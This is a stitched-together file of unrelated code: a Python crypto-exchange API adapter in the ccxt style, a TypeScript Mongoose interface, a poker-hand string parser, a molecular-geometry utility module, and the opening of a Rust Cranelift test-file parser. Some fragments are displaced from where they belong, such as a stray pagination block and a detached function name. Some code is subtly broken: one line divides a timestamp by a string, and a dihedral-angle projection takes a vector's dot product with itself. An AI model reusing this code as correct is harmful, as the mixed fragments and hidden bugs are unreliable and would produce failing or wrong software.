self.assetsPostGetUserAssets(params) # # { # status: 200, # msg: "", # data: { # cny: 0, # usd: 0, # btc_total: 0, # info: [{ # "name": "zpr", # "num": "37.49067275", # "over": "37.49067275", # "lock": "0.00000000", # "btc": "0.00000000", # "usd": "0.00000000", # "cny": "0.00000000", # }], # }, # time: 1535983966, # microtime: "0.70400500 1535983966", # source: "api", # } # balances = self.safe_value(response['data'], 'info') result = {'info': response} for i in range(0, len(balances)): balance = balances[i] currencyId = self.safe_string(balance, 'name') code = self.safe_currency_code(currencyId) account = self.account() account['used'] = self.safe_float(balance, 'lock') account['total'] = self.safe_float(balance, 'num') account['free'] = self.safe_float(balance, 'over') result[code] = account return self.parse_balance(result) def parse_ticker(self, ticker, market=None): # # { symbol: "eth_btc", # quoteVolume: "3905.72", # volume: "97058.21", # priceChange: "-1.72", # priceChange24h: "-1.65", # askPrice: "0.03971272", # askQty: "0.0663", # bidPrice: "0.03961469", # bidQty: "19.5451", # open: "0.04036769", # high: "0.04062988", # low: "0.03956123", # now: "0.03970100", # firstId: 115567767, # lastId: 115795316, # dealCount: 14078, # numberPrecision: 4, # pricePrecision: 8, # cny: "1959.05", # usd: "287.10", # krw: "318655.82" } # timestamp = None symbol = None if market is None: marketId = self.safe_string(ticker, 'symbol') market = self.safe_value(self.markets_by_id, marketId) if market is not None: symbol = market['symbol'] last = self.safe_float(ticker, 'now') open = self.safe_float(ticker, 'open') change = None average = None if last is not None and open is not None: change = last - open average = self.sum(last, open) / 2 return { 'symbol': symbol, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'high': self.safe_float(ticker, 'high'), 'low': self.safe_float(ticker, 'low'), 'bid': self.safe_float(ticker, 'bidPrice'), 'bidVolume': self.safe_float(ticker, 'bidQty'), 'ask': self.safe_float(ticker, 'askPrice'), 'askVolume': self.safe_float(ticker, 'askQty'), 'vwap': None, 'open': open, 'close': last, 'last': last, 'previousClose': None, 'change': change, 'percentage': self.safe_float(ticker, 'priceChange24h'), 'average': average, 'baseVolume': self.safe_float(ticker, 'volume'), 'quoteVolume': self.safe_float(ticker, 'quoteVolume'), 'info': ticker, } def parse_microtime(self, microtime): if microtime is None: return microtime parts = microtime.split(' ') milliseconds = float(parts[0]) seconds = int(parts[1]) total = self.sum(seconds, milliseconds) return int(total * 1000) def fetch_ticker(self, symbol, params={}): self.load_markets() market = self.market(symbol) request = { 'symbol': market['id'], } response = self.marketGetTicker(self.extend(request, params)) # # { status: 200, # msg: "", # data: { symbol: "eth_btc", # quoteVolume: "3905.72", # volume: "97058.21", # priceChange: "-1.72", # priceChange24h: "-1.65", # askPrice: "0.03971272", # askQty: "0.0663", # bidPrice: "0.03961469", # bidQty: "19.5451", # open: "0.04036769", # high: "0.04062988", # low: "0.03956123", # now: "0.03970100", # firstId: 115567767, # lastId: 115795316, # dealCount: 14078, # numberPrecision: 4, # pricePrecision: 8, # cny: "1959.05", # usd: "287.10", # krw: "318655.82" }, # time: 1535970397, # microtime: "0.76341900 1535970397", # source: "api" } # ticker = self.parse_ticker(response['data'], market) timestamp = self.parse_microtime(self.safe_string(response, 'microtime')) return self.extend(ticker, { 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), }) def fetch_tickers(self, symbols=None, params={}): self.load_markets() request = {} if symbols is not None: ids = self.market_ids(symbols) request['symbols'] = ','.join(ids) response = self.marketGetTickerall(self.extend(request, params)) # # { status: 200, # msg: "", # data: { ela_btc: { symbol: "ela_btc", # quoteVolume: "0.00", # volume: "3.28", # priceChange: "0.00", # priceChange24h: "0.00", # askPrice: "0.00147984", # askQty: "5.4580", # bidPrice: "0.00120230", # bidQty: "12.5384", # open: "0.00149078", # high: "0.00149078", # low: "0.00149078", # now: "0.00149078", # firstId: 115581219, # lastId: 115581219, # dealCount: 1, # numberPrecision: 4, # pricePrecision: 8, # cny: "73.66", # usd: "10.79", # krw: "11995.03" } }, # time: 1535971578, # microtime: "0.39854200 1535971578", # source: "api" } # tickers = self.safe_value(response, 'data') timestamp = self.parse_microtime(self.safe_string(response, 'microtime')) result = {} ids = list(tickers.keys()) for i in range(0, len(ids)): id = ids[i] ticker = tickers[id] market = None if id in self.markets_by_id: market = self.markets_by_id[id] ticker = self.parse_ticker(tickers[id], market) symbol = ticker['symbol'] if symbol is None: if market is not None: symbol = market['symbol'] else: baseId, quoteId = id.split('_') base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) symbol = base + '/' + quote if symbol is not None: result[symbol] = self.extend(ticker, { 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), }) return result def fetch_order_book(self, symbol, limit=None, params={}): self.load_markets() request = { 'symbol': self.market_id(symbol), } response = self.marketGetDepth(self.extend(request, params)) # # { status: 200, # msg: "", # data: { asks: [["10.00000000", "0.4426", "4.4260"], # ["1.00000000", "0.8339", "0.8339"], # ["0.91700000", "0.0500", "0.0458"], # ["0.20000000", "0.1000", "0.0200"], # ["0.03987120", "16.1262", "0.6429"], # ["0.03986120", "9.7523", "0.3887"] ], # bids: [["0.03976145", "0.0359", "0.0014"], # ["0.03973401", "20.9493", "0.8323"], # ["0.03967970", "0.0328", "0.0013"], # ["0.00000002", "10000.0000", "0.0002"], # ["0.00000001", "231840.7500", "0.0023"]], # coinPair: "eth_btc" }, # time: 1535974778, # microtime: "0.04017400 1535974778", # source: "api" } # orderbook = self.safe_value(response, 'data') timestamp = self.parse_microtime(self.safe_string(response, 'microtime')) return self.parse_order_book(orderbook, timestamp) def parse_trade(self, trade, market=None): # # fetchTrades(public) # # {id: 115807453, # t: "19:36:24", # T: 1535974584, # p: "0.03983296", # n: "0.1000", # s: "buy" }, # id = self.safe_string(trade, 'id') timestamp = self.safe_timestamp(trade, 'T') symbol = None if market is not None: symbol = market['symbol'] price = self.safe_float(trade, 'p') amount = self.safe_float(trade, 'n') cost = None if price is not None: if amount is not None: cost = self.price_to_precision(symbol, amount * price) side = self.safe_string(trade, 's') return { 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'symbol': symbol, 'id': id, 'order': None, 'type': 'limit', 'side': side, 'takerOrMaker': None, 'price': price, 'amount': amount, 'cost': cost, 'fee': None, 'info': trade, } def fetch_trades(self, symbol, since=None, limit=None, params={}): self.load_markets() market = self.market(symbol) request = { 'symbol': market['id'], } response = self.marketGetOrder(self.extend(request, params)) # # { status: 200, # msg: "", # data: [{id: 115807453, # t: "19:36:24", # T: 1535974584, # p: "0.03983296", # n: "0.1000", # s: "buy" }, # {id: 115806811, # t: "19:33:19", # T: 1535974399, # p: "0.03981135", # n: "9.4612", # s: "sell" } ], # time: 1535974583, # microtime: "0.57118100 1535974583", # source: "api" } # return self.parse_trades(response['data'], market, since, limit) def parse_ohlcv(self, ohlcv, market=None, timeframe='1m', since=None, limit=None): # # { # time: "1535973420000", # open: "0.03975084", # high: "0.03975084", # low: "0.03967700", # close: "0.03967700", # volume: "12.4733", # datetime: "2018-09-03 19:17:00" # } # return [ self.safe_integer(ohlcv, 'time'), self.safe_float(ohlcv, 'open'), self.safe_float(ohlcv, 'high'), self.safe_float(ohlcv, 'low'), self.safe_float(ohlcv, 'close'), self.safe_float(ohlcv, 'volume'), ] def fetch_ohlcv(self, symbol, timeframe='1m', since=None, limit=None, params={}): self.load_markets() duration = self.parse_timeframe(timeframe) * 1000 market = self.market(symbol) request = { 'symbol': market['id'], 'resolution': self.timeframes[timeframe], } if limit is not None: request['size'] = min(limit, 300) # 1-300 if since is not None: request['to'] = self.sum(since, limit * duration * 1000) else: if since is not None: raise ArgumentsRequired(self.id + ' fetchOHLCV requires a limit argument if the since argument is specified') response = self.marketGetKline(self.extend(request, params)) # # { # status: 200, # msg: "", # data: { # bars: [ # {time: "1535973420000", open: "0.03975084", high: "0.03975084", low: "0.03967700", close: "0.03967700", volume: "12.4733", datetime: "2018-09-03 19:17:00"}, # {time: "1535955480000", open: "0.04009900", high: "0.04016745", low: "0.04009900", close: "0.04012074", volume: "74.4803", datetime: "2018-09-03 14:18:00"}, # ], # resolution: "1min", # symbol: "eth_btc", # from: "1535973420000", # to: "1535955480000", # size: 300 # }, # time: 1535973435, # microtime: "0.56462100 1535973435", # source: "api" # } # data = self.safe_value(response, 'data', {}) bars = self.safe_value(data, 'bars', []) return self.parse_ohlcvs(bars, market, timeframe, since, limit) def parse_order_status(self, status): statuses = { '0': 'open', '1': 'open', # partially filled '2': 'closed', # filled '3': 'canceled', } return self.safe_string(statuses, status, status) def parse_order(self, order, market=None): # # createOrder # # { # "id": "693248739", # order id # "uId": "2074056", # uid # "price": "100", # price # "number": "10", # number # "numberOver": "10", # undealed # "flag": "sale", # flag # "status": "0", # unfilled # "coinFrom": "vtc", # "coinTo": "dkkt", # "numberDeal": "0" # dealed # } # id = self.safe_string(order, 'id') symbol = None if market is None: baseId = self.safe_string(order, 'coinFrom') quoteId = self.safe_string(order, 'coinTo') if (baseId is not None) and (quoteId is not None): marketId = baseId + '_' + quoteId if marketId in self.markets_by_id: market = self.safe_value(self.markets_by_id, marketId) else: base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) symbol = base + '/' + quote if market is not None: symbol = market['symbol'] side = self.safe_string(order, 'flag') if side is not None: side = 'sell' if (side == 'sale') else 'buy' price = self.safe_float(order, 'price') amount = self.safe_float(order, 'number') remaining = self.safe_float(order, 'numberOver') filled = self.safe_float(order, 'numberDeal') timestamp = self.safe_integer(order, 'timestamp') if timestamp is None: timestamp = self.safe_timestamp(order, 'created') cost = self.safe_float(order, 'orderTotalPrice') if price is not None: if filled is not None: cost = filled * price status = self.parse_order_status(self.safe_string(order, 'status')) return { 'id': id, 'clientOrderId': None, 'datetime': self.iso8601(timestamp), 'timestamp': timestamp, 'lastTradeTimestamp': None, 'status': status, 'symbol': symbol, 'type': 'limit', 'side': side, 'price': price, 'cost': cost, 'amount': amount, 'filled': filled, 'remaining': remaining, 'trades': None, 'fee': None, 'info': order, 'average': None, } def create_order(self, symbol, type, side, amount, price=None, params={}): self.load_markets() if type != 'limit': raise ExchangeError(self.id + ' createOrder allows limit orders only') market = self.market(symbol) orderType = '1' if (side == 'buy') else '2' if not self.password: raise ExchangeError(self.id + ' createOrder() requires you to set exchange.password = "YOUR_TRADING_PASSWORD"(a trade password is NOT THE SAME as your login password)') request = { 'symbol': market['id'], 'type': orderType, 'price': self.price_to_precision(symbol, price), 'number': self.amount_to_precision(symbol, amount), 'tradePwd': self.password, } response = self.tradePostAddEntrustSheet(self.extend(request, params)) # # { # "status": 200, # "msg": "", # "data": { # "id": "693248739", # order id # "uId": "2074056", # uid # "price": "100", # price # "number": "10", # number # "numberOver": "10", # undealed # "flag": "sale", # flag # "status": "0", # unfilled # "coinFrom": "vtc", # "coinTo": "dkkt", # "numberDeal": "0" # dealed # }, # "time": "1533035297", # "microtime": "0.41892000 1533035297", # "source": "api", # } # timestamp = self.parse_microtime(self.safe_string(response, 'microtime')) order = self.extend({ 'timestamp': timestamp, }, response['data']) return self.parse_order(order, market) def cancel_order(self, id, symbol=None, params={}): self.load_markets() request = { 'entrustSheetId': id, } response = self.tradePostCancelEntrustSheet(self.extend(request, params)) # # { # "status":200, # "msg":"", # "data":{ # "updateAssetsData":{ # "coin":"bz", # "over":"1000.00000000", # "lock":"-1000.00000000" # }, # "assetsInfo":{ # "coin":"bz", # "over":"9999.99999999", # "lock":"9999.99999999" # } # }, # "time":"1535464383", # "microtime":"0.91558000 1535464383", # "source":"api" # } # return response def cancel_orders(self, ids, symbol=None, params={}): self.load_markets() request = { 'ids': ','.join(ids), } response = self.tradePostCancelEntrustSheet(self.extend(request, params)) # # { # "status":200, # "msg":"", # "data":{ # "744173808":{ # "updateAssetsData":{ # "coin":"bz", # "over":"100.00000000", # "lock":"-100.00000000" # }, # "assetsInfo":{ # "coin":"bz", # "over":"899.99999999", # "lock":"19099.99999999" # } # }, # "744173809":{ # "updateAssetsData":{ # "coin":"bz", # "over":"100.00000000", # "lock":"-100.00000000" # }, # "assetsInfo":{ # "coin":"bz", # "over":"999.99999999", # "lock":"18999.99999999" # } # } # }, # "time":"1535525649", # "microtime":"0.05009400 1535525649", # "source":"api" # } # return response def fetch_order(self, id, symbol=None, params={}): self.load_markets() request = { 'entrustSheetId': id, } response = self.tradePostGetEntrustSheetInfo(self.extend(request, params)) # # { # "status":200, # "msg":"", # "data":{ # "id":"708279852", # "uId":"2074056", # "price":"100.00000000", # "number":"10.0000", # "total":"0.00000000", # "numberOver":"10.0000", # "numberDeal":"0.0000", # "flag":"sale", # "status":"0", #0:unfilled, 1:partial deal, 2:all transactions, 3:already cancelled # "coinFrom":"bz", # "coinTo":"usdt", # "orderTotalPrice":"0", # "created":"1533279876" # }, # "time":"1533280294", # "microtime":"0.36859200 1533280294", # "source":"api" # } # return self.parse_order(response['data']) def fetch_orders_with_method(self, method, symbol=None, since=None, limit=None, params={}): if symbol is None: raise ArgumentsRequired(self.id + ' fetchOpenOrders requires a symbol argument') self.load_markets() market = self.market(symbol) request = { 'coinFrom': market['baseId'], 'coinTo': market['quoteId'], # 'type': 1, # optional integer, 1 = buy, 2 = sell # 'page': 1, # optional integer # 'pageSize': 100, # optional integer, max 100 # 'startTime': 1510235730, # optional integer timestamp in seconds # 'endTime': 1510235730, # optional integer timestamp in seconds } if limit is not None:
if since is not None: request['startTime'] = int(since / 1000) # request['endTime'] = int(since / 1000) response = getattr(self, method)(self.extend(request, params)) # # { # "status": 200, # "msg": "", # "data": { # "data": [ # { # "id": "693248739", # "uid": "2074056", # "price": "100.00000000", # "number": "10.0000", # "total": "0.00000000", # "numberOver": "0.0000", # "numberDeal": "0.0000", # "flag": "sale", # "status": "3", # 0:unfilled, 1:partial deal, 2:all transactions, 3:already cancelled # "isNew": "N", # "coinFrom": "vtc", # "coinTo": "dkkt", # "created": "1533035300", # }, # { # "id": "723086996", # "uid": "2074056", # "price": "100.00000000", # "number": "10.0000", # "total": "0.00000000", # "numberOver": "0.0000", # "numberDeal": "0.0000", # "flag": "sale", # "status": "3", # "isNew": "N", # "coinFrom": "bz", # "coinTo": "usdt", # "created": "1533523568", # }, # ], # "pageInfo": { # "limit": "10", # "offest": "0", # "current_page": "1", # "page_size": "10", # "total_count": "17", # "page_count": "2", # } # }, # "time": "1533279329", # "microtime": "0.15305300 1533279329", # "source": "api" # } # orders = self.safe_value(response['data'], 'data', []) return self.parse_orders(orders, None, since, limit) def fetch_orders(self, symbol=None, since=None, limit=None, params={}): return self.fetch_orders_with_method('tradePostGetUserHistoryEntrustSheet', symbol, since, limit, params) def fetch_open_orders(self, symbol=None, since=None, limit=None, params={}): return self.fetch_orders_with_method('tradePostGetUserNowEntrustSheet', symbol, since, limit, params) def fetch_closed_orders(self, symbol=None, since=None, limit=None, params={}): return self.fetch_orders_with_method('tradePostGetUserHistoryEntrustSheet', symbol, since, limit, params) def parse_transaction_status(self, status): statuses = { '1': 'pending', '2': 'pending', '3': 'pending', '4': 'ok', '5': 'canceled', } return self.safe_string(statuses, status, status) def parse_transaction(self, transaction, currency=None): # # { # "id": '96275', # "uid": '2109073', # "wallet": '0xf4c4141c0127bc37b1d0c409a091920eba13ada7', # "txid": '0xb7adfa52aa566f9ac112e3c01f77bd91179b19eab12092a9a5a8b33d5086e31d', # "confirm": '12', # "number": '0.50000000', # "status": 4, # "updated": '1534944168605', # "addressUrl": 'https://etherscan.io/address/', # "txidUrl": 'https://etherscan.io/tx/', # "description": 'Ethereum', # "coin": 'eth', # "memo": '' # } # # { # "id":"397574", # "uid":"2033056", # "wallet":"1AG1gZvQAYu3WBvgg7p4BMMghQD2gE693k", # "txid":"", # "confirm":"0", # "number":"1000.00000000", # "status":1, # "updated":"0", # "addressUrl":"http://omniexplorer.info/lookupadd.aspx?address=", # "txidUrl":"http://omniexplorer.info/lookuptx.aspx?txid=", # "description":"Tether", # "coin":"usdt", # "memo":"" # } # # { # "id":"153606", # "uid":"2033056", # "wallet":"1AG1gZvQAYu3WBvgg7p4BMMghQD2gE693k", # "txid":"aa2b179f84cd6dedafd41845e0fbf7f01e14c0d71ea3140d03d6f5a9ccd93199", # "confirm":"0", # "number":"761.11110000", # "status":4, # "updated":"1536726133579", # "addressUrl":"http://omniexplorer.info/lookupadd.aspx?address=", # "txidUrl":"http://omniexplorer.info/lookuptx.aspx?txid=", # "description":"Tether", # "coin":"usdt", # "memo":"" # } # timestamp = self.safe_integer(transaction, 'updated') if timestamp == 0: timestamp = None currencyId = self.safe_string(transaction, 'coin') code = self.safe_currency_code(currencyId, currency) type = self.safe_string_lower(transaction, 'type') status = self.parse_transaction_status(self.safe_string(transaction, 'status')) return { 'id': self.safe_string(transaction, 'id'), 'txid': self.safe_string(transaction, 'txid'), 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'address': self.safe_string(transaction, 'wallet'), 'tag': self.safe_string(transaction, 'memo'), 'type': type, 'amount': self.safe_float(transaction, 'number'), 'currency': code, 'status': status, 'updated': timestamp, 'fee': None, 'info': transaction, } def parse_transactions_by_type(self, type, transactions, code=None, since=None, limit=None): result = [] for i in range(0, len(transactions)): transaction = self.parse_transaction(self.extend({ 'type': type, }, transactions[i])) result.append(transaction) return self.filter_by_currency_since_limit(result, code, since, limit) def parse_transaction_type(self, type): types = { 'deposit': 1, 'withdrawal': 2, } return self.safe_integer(types, type, type) def fetch_deposits(self, code=None, since=None, limit=None, params={}): return self.fetch_transactions_for_type('deposit', code, since, limit, params) def fetch_withdrawals(self, code=None, since=None, limit=None, params={}): return self.fetch_transactions_for_type('withdrawal', code, since, limit, params) def fetch_transactions_for_type(self, type, code=None, since=None, limit=None, params={}): if code is None: raise ArgumentsRequired(self.id + ' fetchTransactions() requires a currency `code` argument') self.load_markets() currency = self.currency(code) request = { 'coin': currency['id'], 'type': self.parse_transaction_type(type), } if since is not None: request['startTime'] = int(since / str(1000)) if limit is not None: request['page'] = 1 request['pageSize'] = limit response = self.tradePostDepositOrWithdraw(self.extend(request, params)) transactions = self.safe_value(response['data'], 'data', []) return self.parse_transactions_by_type(type, transactions, code, since, limit) def nonce(self): currentTimestamp = self.seconds() if currentTimestamp > self.options['lastNonceTimestamp']: self.options['lastNonceTimestamp'] = currentTimestamp self.options['lastNonce'] = 100000 self.options['lastNonce'] = self.sum(self.options['lastNonce'], 1) return self.options['lastNonce'] def sign(self, path, api='market', method='GET', params={}, headers=None, body=None): baseUrl = self.implode_params(self.urls['api'][api], {'hostname': self.hostname}) url = baseUrl + '/' + self.capitalize(api) + '/' + path query = None if api == 'market': query = self.urlencode(params) if len(query): url += '?' + query else: self.check_required_credentials() body = self.rawencode(self.keysort(self.extend({ 'apiKey': self.apiKey, 'timeStamp': self.seconds(), 'nonce': self.nonce(), }, params))) body += '&sign=' + self.hash(self.encode(body + self.secret)) headers = {'Content-type': 'application/x-www-form-urlencoded'} return {'url': url, 'method': method, 'body': body, 'headers': headers} def handle_errors(self, httpCode, reason, url, method, headers, body, response, requestHeaders, requestBody): if response is None: return # fallback to default error handler status = self.safe_string(response, 'status') if status is not None: feedback = self.id + ' ' + body # # {"status":-107,"msg":"","data":"","time":1535968848,"microtime":"0.89092200 1535968848","source":"api"} # if status == '200': # # {"status":200,"msg":"","data":-200031,"time":1535999806,"microtime":"0.85476800 1535999806","source":"api"} # code = self.safe_integer(response, 'data') if code is not None: self.throw_exactly_matched_exception(self.exceptions, code, feedback) raise ExchangeError(feedback) else: return # no error self.throw_exactly_matched_exception(self.exceptions, status, feedback) raise ExchangeError(feedback)
request['page'] = 1 request['pageSize'] = limit
i-dog.interface.ts
import { Document } from "mongoose"; export interface IDog extends Document {
_id: string; name: string; age: number; breed: string; }
string_processor.py
import re from parallel import hand_odds if __name__ == '__main__': while True: class_string = input('Paste html extract:') split = (class_string.split(',')) number_of_players = int(split[-1]) split = split[:-1] print(split) match_list = [] suits = [] ranks = [] for item in split: extraction = re.search(r'(diamonds-(\w|\d))|(clubs-(\w|\d))|(hearts-(\w|\d))|(spades-(\w|\d))',item)[0] extraction = extraction.replace('clubs-','C').replace('spades-','S').replace('diamonds-','D').replace('hearts-','H')
extraction = extraction.replace('Q','12').replace('K','13').replace('A','14').replace('J','11') formatted = re.search(r'\d{1,2}',extraction)[0]+re.search(r'\w',extraction)[0] match_list.append(formatted) hand_odds(match_list[-2:],match_list[:-2],number_of_players-1,1000)
misc.py
import math import re from typing import Dict, List import numpy as np from ..physical_constants import constants def distance_matrix(a: np.ndarray, b: np.ndarray) -> np.ndarray: """Euclidean distance matrix between rows of arrays `a` and `b`. Equivalent to `scipy.spatial.distance.cdist(a, b, 'euclidean')`. Returns a.shape[0] x b.shape[0] array. """ assert a.shape[1] == b.shape[1], """Inner dimensions do not match""" distm = np.zeros([a.shape[0], b.shape[0]]) for i in range(a.shape[0]): distm[i] = np.linalg.norm(a[i] - b, axis=1) return distm def update_with_error(a: Dict, b: Dict, path=None) -> Dict: """Merges `b` into `a` like dict.update; however, raises KeyError if values of a key shared by `a` and `b` conflict. Adapted from: https://stackoverflow.com/a/7205107 """ if path is None: path = [] for key in b: if key in a: if isinstance(a[key], dict) and isinstance(b[key], dict): update_with_error(a[key], b[key], path + [str(key)]) elif a[key] == b[key]: pass # same leaf value elif a[key] is None: a[key] = b[key] elif ( isinstance(a[key], (list, tuple)) and not isinstance(a[key], str) and isinstance(b[key], (list, tuple)) and not isinstance(b[key], str) and len(a[key]) == len(b[key]) and all((av is None or av == bv) for av, bv in zip(a[key], b[key])) ): # yapf: disable a[key] = b[key] else: raise KeyError("Conflict at {}: {} vs. {}".format(".".join(path + [str(key)]), a[key], b[key])) else: a[key] = b[key] return a def standardize_efp_angles_units(units: str, geom_hints: List[List[float]]) -> List[List[float]]: """Applies to the pre-validated xyzabc or points hints in `geom_hints` the libefp default (1) units of [a0] and (2) radian angle range of (-pi, pi]. The latter is handy since this is how libefp returns hints """ def radrge(radang): """Adjust `radang` by 2pi into (-pi, pi] range.""" if radang > math.pi: return radang - 2 * math.pi elif radang <= -math.pi: return radang + 2 * math.pi else: return radang if units == "Angstrom": iutau = 1.0 / constants.bohr2angstroms else: iutau = 1.0 hints = [] for hint in geom_hints: if len(hint) == 6: x, y, z = [i * iutau for i in hint[:3]] a, b, c = [radrge(i) for i in hint[3:]] hints.append([x, y, z, a, b, c]) if len(hint) == 9: points = [i * iutau for i in hint] hints.append(points) return hints def filter_comments(string: str) -> str: """Remove from `string` any Python-style comments ('#' to end of line).""" return re.sub(r"(^|[^\\])#.*", "", string) def unnp(dicary: Dict, _path=None, *, flat: bool = False) -> Dict: """Return `dicary` with any ndarray values replaced by lists. Parameters ---------- dicary: dict Dictionary where any internal iterables are dict or list. flat : bool, optional Whether the returned lists are flat or nested. Returns ------- dict Input with any ndarray values replaced by lists. """ if _path is None: _path = [] ndicary: Dict = {} for k, v in dicary.items(): if isinstance(v, dict): ndicary[k] = unnp(v, _path + [str(k)], flat=flat) elif isinstance(v, list): # relying on Py3.6+ ordered dict here fakedict = {kk: vv for kk, vv in enumerate(v)} tolisted = unnp(fakedict, _path + [str(k)], flat=flat) ndicary[k] = list(tolisted.values()) else: try: v.shape except AttributeError: ndicary[k] = v else: if flat: ndicary[k] = v.ravel().tolist() else: ndicary[k] = v.tolist() return ndicary def _norm(points) -> float: """ Return the Frobenius norm across axis=-1, NumPy's internal norm is crazy slow (~4x) """ tmp = np.atleast_2d(points) return np.sqrt(np.einsum("ij,ij->i", tmp, tmp)) def measure_coordinates(coordinates, measurements, degrees=False): """ Measures a geometry array based on 0-based indices provided, automatically detects distance, angle, and dihedral based on length of measurement input. """ coordinates = np.atleast_2d(coordinates) num_coords = coordinates.shape[0] single = False if isinstance(measurements[0], int): measurements = [measurements] single = True ret = [] for num, m in enumerate(measurements): if any(x >= num_coords for x in m): raise ValueError(f"An index of measurement {num} is out of bounds.") kwargs = {} if len(m) == 2: func = compute_distance elif len(m) == 3: func = compute_angle kwargs = {"degrees": degrees} elif len(m) == 4: func = compute_dihedral kwargs = {"degrees": degrees} else: raise KeyError(f"Unrecognized number of arguments for measurement {num}, found {len(m)}, expected 2-4.") val = func(*[coordinates[x] for x in m], **kwargs) ret.append(float(val)) if single: return ret[0] else: return ret def
(points1, points2) -> np.ndarray: """ Computes the distance between the provided points on a per-row basis. Parameters ---------- points1 : array-like The first list of points, can be 1D or 2D points2 : array-like The second list of points, can be 1D or 2D Returns ------- distances : np.ndarray The array of distances between points1 and points2 Notes ----- Units are not considered inside these expressions, please preconvert to the same units before using. See Also -------- distance_matrix Computes the distance between the provided points in all rows. compute_distance result is the diagonal of the distance_matrix result. """ points1 = np.atleast_2d(points1) points2 = np.atleast_2d(points2) return _norm(points1 - points2) def compute_angle(points1, points2, points3, *, degrees: bool = False) -> np.ndarray: """ Computes the angle (p1, p2 [vertex], p3) between the provided points on a per-row basis. Parameters ---------- points1 : np.ndarray The first list of points, can be 1D or 2D points2 : np.ndarray The second list of points, can be 1D or 2D points3 : np.ndarray The third list of points, can be 1D or 2D degrees : bool, options Returns the angle in degrees rather than radians if True Returns ------- angles : np.ndarray The angle between the three points in radians Notes ----- Units are not considered inside these expressions, please preconvert to the same units before using. """ points1 = np.atleast_2d(points1) points2 = np.atleast_2d(points2) points3 = np.atleast_2d(points3) v12 = points1 - points2 v23 = points2 - points3 denom = _norm(v12) * _norm(v23) cosine_angle = np.einsum("ij,ij->i", v12, v23) / denom angle = np.pi - np.arccos(cosine_angle) if degrees: return np.degrees(angle) else: return angle def compute_dihedral(points1, points2, points3, points4, *, degrees: bool = False) -> np.ndarray: """ Computes the dihedral angle (p1, p2, p3, p4) between the provided points on a per-row basis using the Praxeolitic formula. Parameters ---------- points1 : np.ndarray The first list of points, can be 1D or 2D points2 : np.ndarray The second list of points, can be 1D or 2D points3 : np.ndarray The third list of points, can be 1D or 2D points4 : np.ndarray The third list of points, can be 1D or 2D degrees : bool, options Returns the dihedral angle in degrees rather than radians if True Returns ------- dihedrals : np.ndarray The dihedral angle between the four points in radians Notes ----- Units are not considered inside these expressions, please preconvert to the same units before using. """ # FROM: https://stackoverflow.com/questions/20305272/ points1 = np.atleast_2d(points1) points2 = np.atleast_2d(points2) points3 = np.atleast_2d(points3) points4 = np.atleast_2d(points4) # Build the three vectors v1 = -1.0 * (points2 - points1) v2 = points3 - points2 v3 = points4 - points3 # Normalize the central vector v2 = v2 / _norm(v2) # v = projection of b0 onto plane perpendicular to b1 # = b0 minus component that aligns with b1 # w = projection of b2 onto plane perpendicular to b1 # = b2 minus component that aligns with b1 v = v1 - np.einsum("ij,ij->i", v1, v1) * v2 w = v3 - np.einsum("ij,ij->i", v3, v2) * v2 # angle between v and w in a plane is the torsion angle # v and w may not be normalized but that's fine since tan is y/x x = np.einsum("ij,ij->i", v, w) y = np.einsum("ij,ij->i", np.cross(v2, v), w) angle = np.arctan2(y, x) if degrees: return np.degrees(angle) else: return angle
compute_distance
parser.rs
//! Parser for .clif files. use crate::error::{Location, ParseError, ParseResult}; use crate::isaspec; use crate::lexer::{LexError, Lexer, LocatedError, LocatedToken, Token}; use crate::sourcemap::SourceMap; use crate::testcommand::TestCommand; use crate::testfile::{Comment, Details, Feature, TestFile}; use cranelift_codegen::entity::EntityRef; use cranelift_codegen::ir; use cranelift_codegen::ir::entities::AnyEntity; use cranelift_codegen::ir::immediates::{Ieee32, Ieee64, Imm64, Offset32, Uimm128, Uimm32, Uimm64}; use cranelift_codegen::ir::instructions::{InstructionData, InstructionFormat, VariableArgs}; use cranelift_codegen::ir::types::INVALID; use cranelift_codegen::ir::types::*; use cranelift_codegen::ir::{ AbiParam, ArgumentExtension, ArgumentLoc, Ebb, ExtFuncData, ExternalName, FuncRef, Function, GlobalValue, GlobalValueData, Heap, HeapData, HeapStyle, JumpTable, JumpTableData, MemFlags, Opcode, SigRef, Signature, StackSlot, StackSlotData, StackSlotKind, Table, TableData, Type, Value, ValueLoc, }; use cranelift_codegen::isa::{self, CallConv, Encoding, RegUnit, TargetIsa}; use cranelift_codegen::packed_option::ReservedValue; use cranelift_codegen::{settings, timing}; use std::iter::FromIterator; use std::mem; use std::str::FromStr; use std::{u16, u32}; use target_lexicon::Triple; /// Parse the entire `text` into a list of functions. /// /// Any test commands or target declarations are ignored. pub fn parse_functions(text: &str) -> ParseResult<Vec<Function>> { let _tt = timing::parse_text(); parse_test(text, ParseOptions::default()) .map(|file| file.functions.into_iter().map(|(func, _)| func).collect()) } /// Options for configuring the parsing of filetests. pub struct ParseOptions<'a> { /// Compiler passes to run on the parsed functions. pub passes: Option<&'a [String]>, /// Target ISA for compiling the parsed functions, e.g. "x86_64 skylake". pub target: Option<&'a str>, /// Default calling convention used when none is specified for a parsed function. pub default_calling_convention: CallConv, } impl Default for ParseOptions<'_> { fn default() -> Self { Self { passes: None, target: None, default_calling_convention: CallConv::Fast, } } } /// Parse the entire `text` as a test case file. /// /// The returned `TestFile` contains direct references to substrings of `text`. pub fn parse_test<'a>(text: &'a str, options: ParseOptions<'a>) -> ParseResult<TestFile<'a>> { let _tt = timing::parse_text(); let mut parser = Parser::new(text); // Gather the preamble comments. parser.start_gathering_comments(); let isa_spec: isaspec::IsaSpec; let commands: Vec<TestCommand<'a>>; // Check for specified passes and target, if present throw out test commands/targets specified // in file. match options.passes { Some(pass_vec) => { parser.parse_test_commands(); commands = parser.parse_cmdline_passes(pass_vec); parser.parse_target_specs()?; isa_spec = parser.parse_cmdline_target(options.target)?; } None => { commands = parser.parse_test_commands(); isa_spec = parser.parse_target_specs()?; } }; let features = parser.parse_cranelift_features()?; // Decide between using the calling convention passed in the options or using the // host's calling convention--if any tests are to be run on the host we should default to the // host's calling convention. parser = if commands.iter().any(|tc| tc.command == "run") { let host_default_calling_convention = CallConv::triple_default(&Triple::host()); parser.with_default_calling_convention(host_default_calling_convention) } 